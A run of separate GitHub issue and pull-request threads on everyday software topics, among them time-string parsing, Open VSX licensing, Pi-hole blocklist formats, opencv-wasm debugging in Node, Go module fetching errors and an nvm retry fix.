Do you think it is a reasonable feature to identify the string "24:00" as "00:00" of the next day in places that would accept a time string?

Good idea, this is probably what users expect. What would be the equivalent of 24:00 in an am/pm notation?

wikipedia says that it is complicated to decide :) We can follow the main wiki article and take 12am for midnight.
That's one more reason why I like a 24h clock.

Technically, 00:01 is 12:01am (due to being before midday or ante meridiem).
Then again, 12:01 is 12:01pm (being one minute after midday).
It's hard to say where the am/pm equivalent for 24:00 would fall. Following the logic above, it should be pm (it's after midday), but that would conflict with midday.

Tank you :)

We probably need some documentation on this (and perhaps check if the locale is set to 24 hour format).

and btw: thanks @lucc for the good suggestion.

fixed


core-client-rest-june-release-for-mpg-preview

Packages impacted by this PR
@azure-rest/core-client
Issues associated with this PR
Describe the problem that is addressed by this PR
have a core client release for mpg preview.
What are the possible designs available to address the problem? If there are more than one possible design, why was the one in this PR chosen?
Are there test cases added in this PR? (If not, why?)
Provide a list of related PRs (if any)
Command used to generate this PR:**(Applicable only to SDK release request PRs)
Checklists

[x] Added impacted package name to the issue description
[x] Does this PR needs any fixes in the SDK Generator?** (If so, create an Issue in the Autorest/typescript repository and link it here)
[x] Added a changelog (if necessary)

API change check
API changes are not detected in this pull request.


Open VSX Listing: Signing the Publisher Agreement

Thank you for being part of the Open VSX community by adding your extensions to the Open VSX Registry. Please note that the service was recently transferred to the Eclipse Foundation and urgent action on your part is needed so we can continue to list your extensions. To ensure uninterrupted service, please sign the Eclipse Publisher Agreement on or before January 8, 2021. If not signed by that date, your extensions will be delisted and will no longer appear on the site nor be available via the API. If you sign at a later date, your extensions will then be re-activated. The signing process is explained in the Wiki (steps 1 and 2).
Please also note that all extensions MUST have a license in order to be listed.
More details are in these recent blog posts:
https://blogs.eclipse.org/post/brian-king/open-vsx-registry-under-new-management
https://blogs.eclipse.org/post/brian-king/new-era-open-vsx-registry
Today, there’s growing momentum around open source tools and technologies that support Visual Studio (VS) Code extensions. Leading global organizations are adopting these tools and technologies. This momentum has spurred demand for a marketplace without restrictions and limitations. Thanks for joining us on this journey as we continue to build the Open VSX community. We look forward to continued innovation from you in 2021!

Done.

Done.

@yurihs thanks for reacting so quickly!
I noticed another problem: the extension currently has no license, but a license is required by the new terms set by the Eclipse Foundation.
Please choose a license( preferably an open source license such as MIT) add a license field with the license identifier in the package.json and add a LICENSE file with the full license text, and then republish the extension.
The latest version of the ovsx tool offers to add the MIT license when you try to publish without a license.

@yurihs thanks for reacting so quickly!
I noticed another problem: the extension currently has no license, but a license is required by the new terms set by the Eclipse Foundation.
Please choose a license( preferably an open source license such as MIT) add a license field with the license identifier in the package.json and add a LICENSE file with the full license text, and then republish the extension.
The latest version of the ovsx tool offers to add the MIT license when you try to publish without a license.

@spoenemann Alright, license added!

@spoenemann Alright, license added!


Hosts/Domains should use <IP_ADDRESS> instead of <IP_ADDRESS> for Pi-hole

See https://discourse.pi-hole.net/t/use-0-0-0-0-instead-of-dns-ip-in-blocklists/5412 and https://github.com/StevenBlack/hosts/issues/274 for "why". Thanks for changing (or do you prefer me seding this and make a PR?)!

Pihole no longer needs <IP_ADDRESS> or <IP_ADDRESS> ignores them

I took a look and I believe that sml156 is correct here. It looks to me like PiHole ingests domain blocklists with either the <IP_ADDRESS> or <IP_ADDRESS> prefix, but when a domain is blocked PiHole will check what its blocking mode is set to and implement that block. The default these days is NULL blocking, which should mean that any blocked host (no matter what format the blocklist used) should return <IP_ADDRESS>.
Reference: https://docs.pi-hole.net/ftldns/blockingmode/
I don't believe PiHole allows the lists themselves to override what blocking mode it uses - that seems like it would lead to a lot of inconsistencies. Give it a try though and let me know if there's something I can do to adjust! Would definitely prefer to adhere to best practices if there's an issue using <IP_ADDRESS> creates.

There are several lists that work with pihole and do not add either of those IP's.
Take this list for example https://raw.githubusercontent.com/Perflyst/PiHoleBlocklist/master/SmartTV.txt it works perfectly.
I believe some lists continue to add <IP_ADDRESS> and <IP_ADDRESS> so that people can use them in their OS's hosts file, I guess some just don't know they do not need them.

I know, but <IP_ADDRESS> should be preferred over <IP_ADDRESS> - for other reasons as you told (OS's hosts file for example) 😉

I don't understand your comment, Pihole ignores both of those IP's you could put <IP_ADDRESS> and still have the same outcome ... pihole ignores it your point is pointless.
Sorry if this sounds mean and uncaring but them is the fact's, As far as the hosts file goes if your running windows 10 or above you cannot have 100's of thousands domains in your hosts file it will break your network.
Even win 7 had a hard time with a large hosts file unless you disabled "dns client" service, One of the reasons I am using pihole is because Windows 10 was slower than molasses no matter what service I disabled.

I don't think anyone would use this directly as their hosts file - the only case I would expect is if someone used hBlock or similar, which would also apply its own parsing+transformation. However, considering:

Changing to <IP_ADDRESS> has a slight file size reduction advantage, and
On the off chance someone does simply do something like curl a bunch of files into /etc/hosts (hopefully not, but I've seen too many manmade technohorrors to say "it'd never happen") it would be a marginally better experience.

Change implemented: https://github.com/tweedge/emerging-threats-pihole/commit/ca761c292fb93fbe87fbc47d70d43532511918c6

Thank you @tweedge 👍🏼


buyAllOutcomes default gas limit fix

See https://github.com/gnosis/gnosis.js/issues/99
With both the core contract gas stats reporting a limit of ~160k and the gas limit multiplier bumped to 2, the buyAllOutcomes default gas limit should accomodate the highest value found reported in the issue. Admittedly, this is a bit kludgier than actually figuring out what is going on with this, but it will work for now.

@anxolin I just checked the updated demo app and it worked for me on both MetaMask and also directly connecting to Ganache via http (the latter requires using the unencrypted http:// address)... maybe you have to clear your browser cache?

It may be because in MetaMask - Chrome, the popup for confirming transactions starts with the third transaction first:

I'm merging this, as this does seem to fix the gas issue, and the UX thing with MetaMask will be dealt with separately in #101


Using self.test_session() in setUp() in tf.test.TestCase runs setUp but not tearDown

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes, see below
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Ubuntu 16.04
TensorFlow installed from (source or binary): From binary with pip
TensorFlow version (use command below): v1.4.1
Python version: 2.7.13
Bazel version (if compiling from source): N/A
GCC/Compiler version (if compiling from source): N/A
CUDA/cuDNN version: 8.0
GPU model and memory: 1080Ti
Exact command to reproduce: python mwe.py

Describe the problem
https://github.com/tensorflow/tensorflow/blob/1cc4ec4c5a08cadae87fa02222c5b5c3e81dedbb/tensorflow/python/framework/test_util.py#L874
If you use tf.test.TestCase.test_session() in setUp(), there will be one "skipped" test for which setUp() is run, but not tearDown(). I believe this has to do with tf.TestCase.test_session() trying to take care of automatic test discovery on the line above, but I'm not sure.
Source code / logs
In the following MWE (mwe.py), after running this test there will be a tmp.txt file left in the current directory.
MWE:
import tensorflow as tf

import os
import unittest

class FooTest(tf.test.TestCase):
    def setUp(self):
        with open("tmp.txt", "w") as f:
            f.write("Hello")

        with self.test_session() as sess:
            pass

    def tearDown(self):
        os.unlink("tmp.txt")

    def testExample(self):
        self.assertEqual(1, 1)

if __name__=="__main__":
    unittest.main()

For someone who might find this in the future by Googling:
If you are using pytest, write a conftest.py (in the project root, etc.) file including the following hook:
def pytest_collection_modifyitems(session, config, items):
  """Do not collect TensorFlowTestCase.test_sesion as a test case."""
  items[:] = [item for item in items if (
    item.location[0].endswith('test_util.py') and item.name != 'test_session')]

Reference: https://docs.pytest.org/en/latest/reference.html


Please consider fixing issues detected by repository checker

Notification from ioBroker Check and Service Bot
Dear adapter developer,
I'm the ioBroker Check and Service Bot. I'm an automated tool processing routine tasks for the ioBroker infrastructure. I have recently checked the repository for your adapter energiefluss for common errors and appropiate suggestions to keep this adapter up to date.
This check is based the current head revisions (master / main  branch) of the adapter repository
Please see the result of the check below.
ioBroker.energiefluss
   -
ERRORS:

[ ] :heavy_exclamation_mark: [E157] js-controller 3.3.22 listed as dependency but 4.0.24 is required as minimum, 5.0.19 is recommended. Please update dependency at io-package.json.
[ ] :heavy_exclamation_mark: [E254] Version "3.4.0" listed at common.news at io-package.json does not exist at NPM. Please remove from news section.
[ ] :heavy_exclamation_mark: [E530] .releaseconfig.json is no valid json file - SyntaxError: Expected property name or '}' in JSON at position 7.

WARNINGS:

[ ] :eyes: [W028] Minimum node.js version 18 recommended. Please adapt "{'engines' : { 'node' >= '16' } }" at package.json.
[ ] :eyes: [W040] "keywords" within package.json should contain "ioBroker"
[ ] :eyes: [W135] "common.tier" is required in io-package.json. Please check https://github.com/ioBroker/ioBroker.docs/blob/master/docs/en/dev/objectsschema.md#adapter.
[ ] :eyes: [W181] "common.license" in io-package.json is deprecated. Please define object "common.licenseInformation"
[ ] :eyes: [W184] "common.main" is deprecated and ignored. Please remove from io-package.json. Use "main" at package.json instead.
[ ] :eyes: [W184] "common.materialize" is deprecated for admin >= 5 at io-package.json. Please use property "adminUI".
[ ] :eyes: [W184] "common.materializeTab" is deprecated for admin >= 5 at io-package.json. Please use property "adminUI".

SUGGESTIONS:

[ ] :pushpin: [S522] Please consider migrating to admin 5 UI (jsonConfig).

Please review issues reported and consider fixing them as soon as appropiate.
Errors reported by repository checker should be fixed as soon as possible. Some of them require a new release to be considered as fixed. Please note that errors reported by checker might be considered as blocking point for future updates at stable repository.
Warnings reported by repository checker should be reviewed. While some warnings can be ignored due to good reasons or a dedicated decision of the developer, most warnings should be fixed as soon as appropiate.
Suggestions reported by repository checker should be reviewed. Suggestions can be ignored due to a decision of the developer but they are reported as a hint to use a configuration which might get required in future or at least is used be most adapters. Suggestions are always optional to follow.
You may start a new check or force the creation of a new issue at any time by adding the following comment to this issue:
@iobroker-bot recheck
@iobroker-bot recreate
Please note that I (and the server at GitHub) have always plenty of work to do. So it may last up to 30 minutes until you see a reaction. I will drop a comment here as soon as I start processing.
Feel free to contact me (@iobroker-bot) if you have any questions or feel that an issue is incorrectly flagged.
And THANKS A LOT for maintaining this adapter from me and all users.
Let's work together for the best user experience.
your
ioBroker Check and Service Bot
@mcm1957 for evidence
Last update at Fri, 13 Sep 2024 10:31:36 GMT based on commit e68d229c203ace8e4ffcd8f3f42ec0e60c1d35e6
ioBroker.repochecker 3.0.5

@iobroker-bot recheck

This issue has been updated by ioBroker Check and Service Bot
The following issues have been fixed
[E157] js-controller 3.3.22 listed as dependency but 4.0.24 is required as minimum, 5.0.19 is recommended. Please update dependency at io-package.json.
[E254] Version "3.4.0" listed at common.news at io-package.json does not exist at NPM. Please remove from news section.
[E530] .releaseconfig.json is no valid json file - SyntaxError: Expected property name or '}' in JSON at position 7.
[W028] Minimum node.js version 18 recommended. Please adapt "{'engines' : { 'node' >= '16' } }" at package.json.
[W040] "keywords" within package.json should contain "ioBroker"
[W135] "common.tier" is required in io-package.json. Please check https://github.com/ioBroker/ioBroker.docs/blob/master/docs/en/dev/objectsschema.md#adapter.
[W181] "common.license" in io-package.json is deprecated. Please define object "common.licenseInformation"
[W184] "common.main" is deprecated and ignored. Please remove from io-package.json. Use "main" at package.json instead.
[W184] "common.materialize" is deprecated for admin >= 5 at io-package.json. Please use property "adminUI".
[W184] "common.materializeTab" is deprecated for admin >= 5 at io-package.json. Please use property "adminUI".
:thumbsup:Thanks for fixing the issues.
The following issues are new and have been added
[S526] Consider adding plugin "@alcalzone/release-script-plugin-manual-review".
RECHECK has been performed as requested.


Implemented order list options. it just writes "1." istnead of "-", so in html it is  instead of

Great @spjoe, after updating to the new Atom API I will merge your PR and adopt it.


Add missing keywords; alphabetize

Fixes #2132

Oops, looks  like something broke.

Thanks for the fixes @srawlins! Really appreciate it.

Will package up a release in the next few days.


potential param of fg.Graph().factor() and porting to pomegranate

Hi @mbforbes @hyanwong ,
I'm wondering if you could comment on how to port (to do runtime analysis) of a fg model with the library pomegranate. Specifically, if we take your example in README how would you port that to a BayesianNetwork() in pomegranate to do LBP for comparison? The crux of the issue is the interpretation of the potential param for the fg.Graph().factor(), can you explain and perhaps comment on the porting (here is an example of pomegranate interface: https://pomegranate.readthedocs.io/en/latest/BayesianNetwork.html).
Thanks!

Hey @mercicle, Pomegranate looks awesome, but I have no experience with it, so I won't be able to offer any help with porting :-(

In case it helps, the tutorial linked from the readme (https://www.cs.cmu.edu/~mgormley/bp-tutorial/) is a great resource for understanding how potentials work in factor graphs — or it might be helpful to check out more foundational factor graph material. I'll leave this issue open for a week in case others see it and have comments!

Closing for now — good luck!


Error when loading wasm in NodeJs version 12.16.1

Hi Ezzat,
Thanks for sharing this library!
When executing this statement:
const { cv, cvTranslateError } = require('opencv-wasm');

I get this error:
failed to compile wasm module: LinkError: WebAssembly.Instance(): Import #79 module="env" function="memory" error: memory import must be a WebAssembly.Memory object

When looking e.g. at this article, it seems to me that the code to load wasm depends on the NodeJs version?
I have tested this in NodeJs version 12.16.1 (running on a Raspberry Pi).
Would appreciate if you could give me advice about this!
Thanks in advance!
Bart

Hello Bart,
I don't have Raspberry Pi at the moment, so I couldn't properly debug it. But I have added ARM64 architecture test jobs to travis-ci, and it seems everything runs smoothly!
It left me wondering what's the problem at your case. Maybe there are some issues in WebAssembly support on Raspberry Pi?

Morning Ezzat,
Recently I have also been running ffmpeg wasm on my system, so don't think there is lack of WebAssembly support.
Moreover I see this while debugging:

If there wouldn't have been WebAssembly support, I assume he should have mentioned that on line 318?
And he detects correctly that I'm running NodeJs:

But here the error happens (line 844) and I can even not step into that WebAssebmly.Instance:

Do you see anything strange about the variables at the bottom perhaps?
He has loaded the binary:

Is it normal that the module variable is so empty?  Or should I step into the WebAssembly.Module function ...

Interesting. So in your case, the opencv.wasm binary is successfully loaded, but the instantiation is failed.

Is it normal that the module variable is so empty?

Yes, it's normal to appear like that.

I tried to do the same debugging, and it doesn't enter the catch block:

And in my code playground.js, I can console.log the cv and see the open-cv functionalities.

I'm using the latest version of opencv-wasm from npm. My machine is Intel macOS, node v12.16.2.

Anyway, in your error message:
Import #79 module="env" function="memory" error: memory import must be a WebAssembly.Memory object

It comes from this line in opencv.wasm:

It seems that info.env.memory, in your case, is not a WebAssembly.Memory object. Can you send me the console screenshot of info.env.memory object like this?

I want to see whether WebAssembly.Memory object is successfully created or not.

It seems that info.env.memory, in your case, is not a WebAssembly.Memory object

You are right:

I can see this in my debugger:

Since I arrive at line 663, line 666 won't be executed (and that is I think the only line where wasmMemory will be initialized):

So the env.memory will be empty:

Does this mean that Module["buffer"] is empty in your case?

Yes Module["buffer"] is undefined for me.

Any idea why is Module["buffer"] defined in your case? Maybe Module has been declared before the code executes? Because if Module already exists, it will use that Module instead of creating an empty one.

See, I added Module to global with buffer property, and now I have the same error as yours. 😃

And I don't think Module (with capital M) is a default global variable in node.js. If you executes console.log(Module); in node.js REPL, it will throw Uncaught ReferenceError: Module is not defined.

Ezzat,
This afternoon I thought: without remote debugging we will never find this.  But I'm very impressed about your analytical skills!  It is now working.  You are my hero of today ;-)
Indeed the Module["buffer"] was already filled before I loaded your package:

First I had no clue what could cause that, but suddenly I realized that there was some old experimental opencv.js test code in my program:
var cv = require('opencv.js');

When I removed that, the  Module["buffer"] was not filled anymore before loading your package:

And now my Canny Edge Detector works fine in Node-RED:

Perhaps I should do (not sure how...) a test, and log an error if the buffer is already filled (e.g. by users that use other opencv.js nodes from other developers in their flow).  If you have any suggestions, please share it...
Greetings from Belgium!!
Bart
P.S. I have a few other questions, but I will create separate Github issues (so other users can more easily read those afterwards when having the same problems).

Great, glad it's working now!
Best of luck for your project. 😃

@bartbutenaers Regarding the checking, maybe you can assign the existing Module (if exists) to a temporary variable and then return it afterwards. Roughly:
const temporary = global.Module;
global.Module = {};

const { cv, cvTranslateError } = require('opencv-wasm');

global.Module = temporary;

But it seems that this 'opencv-wasm' module is also polluting the global namespace. Because if you do this:
const { cv, cvTranslateError } = require('opencv-wasm');
console.log(Module)

You'll see that Module is not undefined any more. This is not good.
I can't do much about this, the code is generated by using emscripten through this official guide (with some tweaks from my side).
When I get free time, I'll explore more about the emscripten configurations whether if it's possible to "not" defining Module variable or not.

Thanks for the code snippet!  I will implement it in my node.

@echamudi,
Sorry to disturb you again ...
I can have multiple opencv-wasm nodes in my flow, and those are all calling functionality from your wasm module in parallel:

Should I create 1 wasm instance and share it between all my nodes (to limit the number of system resources being used):

Should I create a wasm instance for every node:

A single instance would consume less system resources (and less startup time),
But perhaps a single instance wouldn't work anyway if I use your global.Module trick?
Thanks again !!

I'm not sure how the things work in Node-RED, I've never tried it myself. But if you can reuse the opencv instance, that would be better, as we know the opencv program is big.
If each node in your diagram is a separate nodejs process, then of course we need to load opencv in each node.
Or maybe if you can have a single process to handle all opencv calculations, and using IPC, each other process that requires opencv calculation can signal that opencv process and then the opencv process can signal back when the process is done. Therefore, you can avoid redundant opencv in many processes.

But if you can reuse the opencv instance, that would be better
Ok thanks! That is what I needed to know.  If I get it running, I will get back here.
Have a nice weekend!
Bart


Basic P2p tunneling (p2t2p) feature request.

It would be nice to have some degree of privacy possible in tunneling connections so that a second anonymous rendezvous dht is established for peer <-> tunnel peer <-> peer sharing is possible using anonymous connections. Basically this would comprise of end to end rsa/dsa encryption handshakes for aes through a 1 hop encrypted tunnel peer. It may also include a routing sharing ratio. This would have to use a secondary dht layer or object where users would generate extended signed pubkeys for single connections. The handshake should hide the expected public key/cert from the proxy peer and then smaller chunks say 1kb with a hash tree for say 9kb chunks could be routed through multiple peers simultaneously using shot lived tunnels (e.g. a minute), the self signing cert could be generated ever hour or 24 hours etc. for signing key/certs for rendezvous. or any other ideas about tradeoffs?
This would be especially useful for punching holes using p2t2p negotiated over tor to keep torrenting off of tor and i2p but anonymize dht functions through hidden services. Preventing easily unmasking the data being sent per users and thereby usual attacks used by corporations to track filesharing. Not necessarily highly secure from a determined enough attacker but enough to establish network neutrality and prevent censorship.
Also obfsproxy support would be nice. Possibly another feature.

Tunneling requires the tunnel to give a lot of bandwidth. I'm not sure it should be a feature of the DHT, because it'd require the nodes to give away that bandwidth for free.


fix: ScopeQuery should be case sensitive (#1168)

Type of change:

[x] Bugfix
[ ] New feature provided
[ ] Improve performance
[ ] Backport patches

What this PR does / why we need it:

https://github.com/apache/apisix-ingress-controller/issues/1168
arg_xxx in APISIX is case sensitive, so ScopeQuery don't need being translated to lower case.
Pre-submission checklist:

[x] Did you explain what problem does this PR solve? Or what new features have been added?
[x] Have you added corresponding test cases?
[ ] Have you modified the corresponding document?
[ ] Is this PR backward compatible? If it is not backward compatible, please discuss on the mailing list first

@tao12345666333

Codecov Report

Merging #1188 (101fe58) into master (a0bc739) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master    #1188   +/-   ##
=======================================
  Coverage   29.98%   29.98%
=======================================
  Files          81       81
  Lines        9979     9979
=======================================
  Hits         2992     2992
  Misses       6663     6663
  Partials      324      324

Impacted Files
Coverage Δ

pkg/kube/translation/apisix_route.go
20.60% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us.


pt_PT keyboard layout

Hi!
All characters are working. In the portuguese language we use ç and Ç and those are the only ones not implemented.
Thank you so much for your work, it really helped me with a project!

You're welcome thanks for YOUR work for the project ;D  @brigadinhos

Glad to help in what I can!


Actually hide hidden commands.

This hides commands marked as Hidden from the help output. Previous method was broken.
Brought up in https://github.com/remind101/empire/pull/724/files#r49390667

:+1:


Allow 204 response during deletion of key vaults (#8284)

added allowed NoContent response for deleting key vaults

fixed 204 response description

added 204 to deleteVault examples

fixed old problems in 2016-10-01 examples

/azp run automation - sdk

/azp run automation - sdk


Proposed 1.6.0-b1

If merged this PR will:
close: #3251
close: #3252
close: #3209
close: #3316
close: #3287
close: #3309
close: #3300
close: #3302
close: #3331
close: #3299
close: #3333

Codecov Report

Merging #3334 into develop will decrease coverage by 0.14%.
The diff coverage is 28.49%.

@@             Coverage Diff             @@
##           develop    #3334      +/-   ##
===========================================
- Coverage    70.61%   70.47%   -0.15%
===========================================
  Files          676      684       +8
  Lines        54339    55001     +662
===========================================
+ Hits         38374    38762     +388
- Misses       15965    16239     +274

Impacted Files
Coverage Δ

src/ripple/app/ledger/LedgerMaster.h
53.33% <ø> (ø)

src/ripple/app/ledger/impl/InboundLedgers.cpp
27.62% <0.00%> (ø)

src/ripple/app/ledger/impl/LedgerMaster.cpp
41.64% <0.00%> (-0.44%)
:arrow_down:

src/ripple/app/main/Main.cpp
40.13% <ø> (ø)

src/ripple/app/misc/NetworkOPs.cpp
64.00% <0.00%> (ø)

src/ripple/app/misc/SHAMapStore.h
100.00% <ø> (ø)

src/ripple/basics/CompressionAlgorithms.h
0.00% <0.00%> (ø)

src/ripple/core/Config.h
100.00% <ø> (ø)

src/ripple/core/ConfigSections.h
100.00% <ø> (ø)

src/ripple/core/Stoppable.h
93.75% <ø> (ø)

... and 67 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f00f263...940f188. Read the comment docs.


cmd/go: unknown option `unshallow' when running go get

What version of Go are you using (go version)?

$ go version
go version go1.12.6 linux/386

What operating system and processor architecture are you using (go env)?
CentOS 6.10
go env Output
$ go env
GOARCH="386"
GOBIN=""
GOCACHE="/usr2/shared/graj04/.cache/go-build"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="386"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/usr2/ps/isp/go"
GOPROXY=""
GORACE=""
GOROOT="/usr/local/go"
GOTMPDIR=""
GOTOOLDIR="/usr/local/go/pkg/tool/linux_386"
GCCGO="gccgo"
GO386="sse2"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m32 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build693494323=/tmp/go-build"

What did you do?
go get -u golang.org/x/tools/gopls@latest

What did you expect to see?
Successful download/install of gopls using modules.
What did you see instead?
go<EMAIL_ADDRESS>git -c protocol.version=0 fetch --unshallow -f https://go.googlesource.com/tools refs/heads/*:refs/heads/* refs/tags/*:refs/tags/* in /usr2/ps/isp/go/pkg/mod/cache/vcs/b44680b3c3708a854d4c89f55aedda0b223beb8d9e30fba969cefb5bd9c1e843: exit status 129:
        error: unknown option `unshallow'
        usage: git fetch [<options>] [<repository> [<refspec>...]]
           or: git fetch [<options>] <group>
           or: git fetch --multiple [<options>] [(<repository> | <group>)...]
           or: git fetch --all [<options>]

            -v, --verbose         be more verbose
            -q, --quiet           be more quiet
            --all                 fetch from all remotes
            -a, --append          append to .git/FETCH_HEAD instead of overwriting
            --upload-pack <path>  path to upload pack on remote end
            -f, --force           force overwrite of local branch
            -m, --multiple        fetch from multiple remotes
            -t, --tags            fetch all tags and associated objects
            -n                    do not fetch all tags (--no-tags)
            -p, --prune           prune remote-tracking branches no longer on remote
            --recurse-submodules[=<on-demand>]
                                  control recursive fetching of submodules
            --dry-run             dry run
            -k, --keep            keep downloaded pack
            -u, --update-head-ok  allow updating of HEAD ref
            --progress            force progress reporting
            --depth <depth>       deepen history of shallow clone
go get: error loading module requirements

Looks like the version of Git that can be installed with CentOS 6.10 doesn't support unshallow.

Duplicate of #28550

As a workaround, note that you can set GOPROXY=https://proxy.golang.org to fetch using HTTPS instead of Git.

@joegrasse Three quick questions for you:

How feasible is it to upgrade CentOS versions on your development machines?

How feasible is it to instead install a more modern version of git on your development machines?  Even if that might not be desirable, is it more feasible than upgrading CentOS itself?

Does the GOPROXY workaround work for you?


Electron-32 (Activity Detection)

Initiating activity detection while setting up the window.

@lneir Please review. Thanks


EOL Google's registry caching mirror

Docker's v1 registry has gotten slower and slower, and they have no
interest in fixing it.  Using a mirror forces v1 mode.  Measurements
show that v1 with our mirror is slower than v2 with docker's registry in
just about all metrics.
@timbot
@brendanburns
We should get this into the next release.
@bakins - apparently CoreOS setups also use a cache, and I bet you suffer the same problem.

Assigning to @brendandburns—@thockin please drive to the necessary two LGTM's if you want this in fast! TY!

LGTM #1

LGTM

Ok to merge on Kelsey's LGTM since this is a simple PR.


Give user chance to set message correlation id

When producing a message through librdkafka you can set an opaque correlation id which gets added to the delivery report. This is useful if you want to correlate produced messages to their produce result. In order to use this feature, the user of node-sinek has to be able to set the correlation id by himself.

Hi @vuza good find - as always, I would like to merge it. I just dont understand the README changes you are making :D

I fixed that, sorry


fix no-intro daily download link again

no-intro started using random generated value's for the button name, let's just pick it by element instead

Thanks!


add useTypeImports config

Resolve #376

@Toanzzz Thanks for your contribution and suggestion!
Could you fix also yup and zod? (Not only myzod)
And please write test. So I can check your PR!

@Code-Hex  Thanks for the reminder, I was quite in rush, sorry 😅
Updated & tested!

@Toanzzz Could you please run yarn prettier on your local 🙏

@Toanzzz Could you please run yarn prettier on your local 🙏

It's done (I didn't know it was so strict)


Update MaterialDialog.java

Made exception public so it's possible to wrap it with try/catch block instead of using global exception ("Exception")

This will no longer apply to upcoming version 2.0


macOS: install GNU tar

CI runs on macOS have started to fail due to https://github.com/actions/cache/issues/403. Use GNU tar instead of BSD tar to work around that.

bors r+

bors retry

bors r+


New input scaler, ScalerEnum.NONE

A new type of input scaler defined that is for applying no scalarization. Works primarily by modifying get_scaler to return None. Changes downstream from there follow due to setting scaler to None

Thanks @jduerholt.
I forgot that we had decided on the name being IDENTITY so I have changed it to that.
I have improved the tests slightly but I am unsure on the best practices so any advice on this would be appreciated.
Cheers

Hi Simon, looks good, also testing wise. Regarding testing guidelines and best practices, we have to definitely improve and create some. But first we have to tidy them up, which should happen in June by an intern. I restarted the test of the tutorials. Let's see if it run through, if yes, I will approve, else we have to see what is going on there.


Collections.list has no examples

Add documentation as per #3098 .
There are a LOT of functions on Collections.list.  I'm only planning on giving examples for the following:

Create
Add an element
Update an element
Access an element at an index
Append one list onto another
Iterate the list
Map over the list
Filter the list
Partition the list

Thanks for the tags @jemc. (I don't think I have the permissions to do that. If I do and I've missed it, please shout and I'll make sure the next Issues I create are tagged appropriately.)

You don't have those permission @andrewharmellaw. If you ever become a committer, you will though. Baby steps!

If anyone thinks the example should include other functions, shout here...

Thought so @SeanTAllen, just wanted to check I wasn't being a bad citizen.

@andrewharmellaw Your list of examples is missing anything that modifies the list after its creation, like update and remove. Also it would be nice to include in the examples some of the more "advanced" features of Pony lists like partition or some other functional-style staple function beyond map like fold or filter. While I think it's trivial to check the documentation and extrapolate from the examples you stated, having a more comprehensive representation of what a Pony list can do would give a better perspective of what's the set of features you should expect from it. Does it make sense?

Thanks for the input @chobeat. I'll add those to the list and update the examples

I'll close this once PR above is merged.


Logo

This is neither final nor really good at all, but it should enable us to create banners, logos, icons and such more easily.

whats that font for?

and how is it licensed? May we use and distribute it freely?


build(c): set -Og -ggdb and warn about Conda setting -O2

Add a warning for Conda users. It turns out that the activate scripts for Conda environments set -O2, which needs to be manually overridden.
Fixes #1608.

Packaging builds being fixed by #1612


setdistinctparameter()

The setdistinctparameter() function in src/utils/mctools.jl now uses copied code from set_leftover_params in Mimi connections.jl.  We should break out the required portion (copied below) and create a separate function called by both.
param_dims = parameter_dimensions(md, comp_name, param_name)
num_dims = length(param_dims)

if num_dims == 0    # scalar case
        set_external_scalar_param!(md, param_name, value)

else #array case
        if num_dims in (1, 2) && param_dims[1] == :time
             value = convert(Array{md.number_type}, value)

             values = get_timestep_instance(md, eltype(value), num_dims, value)

         else
              values = value
         end
         set_external_array_param!(md, param_name, values, param_dims)
end

One idea is to add methods to set_external_param! in Mimi.  Currently it has the following two methods:
function set_external_param!(md::ModelDef, name::Symbol, value::ModelParameter)
    md.external_params[name] = value
end

function set_external_param!(m::Model, name::Symbol, value::ModelParameter)
    set_external_param!(m.md, name, value)
    decache(m)
end

Perhaps we should add another set of methods here, one for md::ModelDef and one for md::Model  which handle the case where the value elements are of type Number, and then include the script below.   That way both the functions could just call set_external_param!.
@rjplevin what do you think?

That sounds right to me!

@rjplevin great.  For the type parameterization on value I would think we could start with Union{Number, AbstractArray, Range, Tuple} would work.  Number should handle all of the scalar cases, and then {AbstractArray, Tuple, Range} should handle the array cases.  Let me know if there is a more elegant way you'd advice, or other types I should include.

@lrennels, I assume that you mean one method will have parameter value::Number, and the other  values::Union{AbstractArray, Range, Tuple}. Is that right? (Anyway, that's what I was imagining.)

Yep that would work.  The conditionals in the code above have a bit stricter requirements than that (dims of 1 or 2 and param being :time), so I wasn't sure if I wanted to mess with it and create 2 new methods ... or just create one and stick that whole block of code into the method.

@rjplevin I've put out a small PR on Mimi for this.  Our runtests file doesn't test set_leftover_params!, but fund does use it, so run_dependencies.jl will check that for us now.  Take a look at see what you think.  I added some optional parameters, the diff should show why.


Added exponential backoff when moving npm installation directory

Fixes issue when installing Node version: 8.9.1+
I found, to much frustration, that the npm installation folder was not being moved from nvm/temp/nvm-npm/{npm-version} to nvm/{node-version}/node_modules/npm. No matter how many times I retried, it just wasn't working.
Nothing in the source code seemed to be revealing anything obvious, so I decided to fork the repo and debug it manually using VS Code's Go plugin. Somehow, magically, when I stepped through the program line by line, the move went just fine without issues. This led me to believe that the problem was time-based.
Sure enough, when I added a ten-second delay before moving the directory, it worked just fine. It seems that (for my system anyway) Windows can take a long time to give access to large directories after being unzipped. For Node versions <8 this may not have been a problem because NPM's dependencies may have been smaller. But for recent versions this just won't cut it.
In my testing, it seemed that anywhere between 5 and 10 seconds is required before the move will succeed. I added an exponential backoff that will:

First try right away
If the first attempt fails, wait 1 second
If the second attempt fails, wait 2 seconds
..., wait 4 seconds
..., wait 8 seconds
..., wait 16 seconds
If it fails after waiting the total 31 seconds, then it will expose the error to the user because there is likely some other problem

I tested this several times and it has worked every time, so I am pretty confident in it.
This is my first time using Go, so I don't know if there is a better standard library API to implement this, but I gave it my best shot. Feel free to refactor it if you know of a better way.

@jchitel - great detective work!
